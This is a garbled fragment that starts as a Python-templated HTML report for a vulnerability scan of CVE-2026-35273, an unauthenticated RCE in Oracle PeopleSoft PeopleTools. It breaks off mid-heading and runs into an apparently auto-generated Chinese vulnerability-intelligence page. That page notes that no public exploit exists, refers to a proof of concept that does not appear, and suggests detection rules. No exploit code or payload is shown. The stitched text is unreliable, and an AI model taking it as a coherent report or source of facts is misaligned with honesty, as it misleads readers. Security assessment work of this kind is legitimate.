border-radius: 8px;text-align: center;}}.summary-card h3 {{margin: 0 0 10px 0;font-size: 14px;}}.summary-card .number {{font-size: 28px;font-weight: bold;margin: 0;}}.warning {{background: #fff3cd;border-left: 4px solid #ffc107;padding: 15px;margin: 20px 0;}}.footer {{text-align: center;margin-top: 30px;padding-top: 20px;border-top: 1px solid #ddd;color: #666;}}</style></head>
<body><div class="container"><h1>CVE-2026-35273 Security Assessment Report</h1><div class="cve-badge">Oracle PeopleSoft PeopleTools RCE</div><div class="summary"><h2 style="color: white;margin-top: 0;">Executive Summary</h2><div class="summary-grid"><div class="summary-card"><h3>Total Targets</h3>
<div class="number">{len(all_results)}</div></div><div class="summary-card"><h3>Critical Risk</h3><div class="number">{sum(1 for r in all_results if r['risk_level'] == 'CRITICAL')}</div></div><div class="summary-card"><h3>High Risk</h3>
<div class="number">{sum(1 for r in all_results if r['risk_level'] == 'HIGH')}</div></div><div class="summary-card"><h3>Vulnerable Versions</h3><div class="number">{sum(1 for r in all_results if '8.61' in str(r['version_hints']) or '8.62' in str(r['version_hints']))}</div></div></div></div><div class="warning">
<strong>⚠️ CVE-2026-35273 Critical Information:</strong><br>• Vulnerability Type: Unauthenticated Remote Code Execution (RCE)<br>• Affected Versions: PeopleTools 8.61,8.62<br>• Attack Vector: HTTP/HTTPS<br>• CVSS Score: 9.8 (Critical)<br>• Patch Status: Oracle out-of-band patch available
</div><h2>Detailed Scan⚔️ EXP 利用代码
截至分析时，Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证，或关注 Exploit-DB 更新。
🕵️ 检测指纹
当前规则库未收录针对该 CVE 的专用检测规则。建议：
- 根据漏洞根因编写 Nuclei 检测模板
- 在 WAF/IDS 中配置针对漏洞特征的规则
- 关注漏洞指纹库更新
🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-10 10:07 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库